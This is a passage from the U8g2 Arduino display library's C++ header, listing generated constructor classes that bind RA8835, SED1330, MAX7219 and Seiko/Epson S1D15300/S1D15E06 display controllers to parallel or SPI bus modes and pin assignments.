U8G2_RA8835_320X240_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ra8835_320x240_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_RA8835_320X240_F_6800 : public U8G2 {\n  public: U8G2_RA8835_320X240_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ra8835_320x240_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_RA8835_320X240_F_8080 : public U8G2 {\n  public: U8G2_RA8835_320X240_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ra8835_320x240_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SED1330_320X200_1_6800 : public U8G2 {\n  public: U8G2_SED1330_320X200_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sed1330_320x200_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SED1330_320X200_1_8080 : public U8G2 {\n  public: U8G2_SED1330_320X200_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sed1330_320x200_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SED1330_320X200_2_6800 : public U8G2 {\n  public: U8G2_SED1330_320X200_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sed1330_320x200_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SED1330_320X200_2_8080 : public U8G2 {\n  public: U8G2_SED1330_320X200_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sed1330_320x200_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SED1330_320X200_F_6800 : public U8G2 {\n  public: U8G2_SED1330_320X200_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sed1330_320x200_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SED1330_320X200_F_8080 : public U8G2 {\n  public: U8G2_SED1330_320X200_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sed1330_320x200_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_64X8_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_MAX7219_64X8_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_64x8_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_64X8_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_MAX7219_64X8_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_64x8_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_64X8_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_MAX7219_64X8_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_64x8_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_64X8_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_MAX7219_64X8_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_64x8_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_64X8_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_MAX7219_64X8_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_64x8_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_64X8_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_MAX7219_64X8_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_64x8_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_64X8_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_MAX7219_64X8_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_64x8_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_64X8_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_MAX7219_64X8_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_64x8_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_64X8_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_MAX7219_64X8_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_64x8_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_32X8_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_MAX7219_32X8_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_32x8_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_32X8_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_MAX7219_32X8_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_32x8_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_32X8_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_MAX7219_32X8_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_32x8_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_32X8_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_MAX7219_32X8_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_32x8_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_32X8_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_MAX7219_32X8_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_32x8_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_32X8_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_MAX7219_32X8_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_32x8_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_32X8_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_MAX7219_32X8_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_32x8_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_32X8_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_MAX7219_32X8_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_32x8_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_32X8_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_MAX7219_32X8_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_32x8_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_8X8_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_MAX7219_8X8_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_8x8_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_8X8_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_MAX7219_8X8_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_8x8_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_8X8_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_MAX7219_8X8_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_8x8_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_8X8_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_MAX7219_8X8_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_8x8_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_8X8_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_MAX7219_8X8_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_8x8_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_8X8_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_MAX7219_8X8_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_8x8_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_8X8_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_MAX7219_8X8_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_8x8_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_8X8_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_MAX7219_8X8_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_8x8_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_MAX7219_8X8_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_MAX7219_8X8_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_max7219_8x8_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_S1D15300_LM6023_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_S1D15300_LM6023_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15300_lm6023_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15300_LM6023_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_S1D15300_LM6023_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15300_lm6023_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_S1D15300_LM6023_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_S1D15300_LM6023_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15300_lm6023_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_S1D15300_LM6023_1_6800 : public U8G2 {\n  public: U8G2_S1D15300_LM6023_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15300_lm6023_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15300_LM6023_1_8080 : public U8G2 {\n  public: U8G2_S1D15300_LM6023_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15300_lm6023_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15300_LM6023_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_S1D15300_LM6023_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15300_lm6023_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15300_LM6023_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_S1D15300_LM6023_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15300_lm6023_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_S1D15300_LM6023_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_S1D15300_LM6023_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15300_lm6023_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_S1D15300_LM6023_2_6800 : public U8G2 {\n  public: U8G2_S1D15300_LM6023_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15300_lm6023_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15300_LM6023_2_8080 : public U8G2 {\n  public: U8G2_S1D15300_LM6023_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15300_lm6023_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15300_LM6023_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_S1D15300_LM6023_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15300_lm6023_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15300_LM6023_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_S1D15300_LM6023_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15300_lm6023_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_S1D15300_LM6023_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_S1D15300_LM6023_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15300_lm6023_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_S1D15300_LM6023_F_6800 : public U8G2 {\n  public: U8G2_S1D15300_LM6023_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15300_lm6023_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15300_LM6023_F_8080 : public U8G2 {\n  public: U8G2_S1D15300_LM6023_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15300_lm6023_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15E06_160100_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_S1D15E06_160100_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15e06_160100_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15E06_160100_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_S1D15E06_160100_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15e06_160100_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_S1D15E06_160100_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_S1D15E06_160100_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15e06_160100_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass 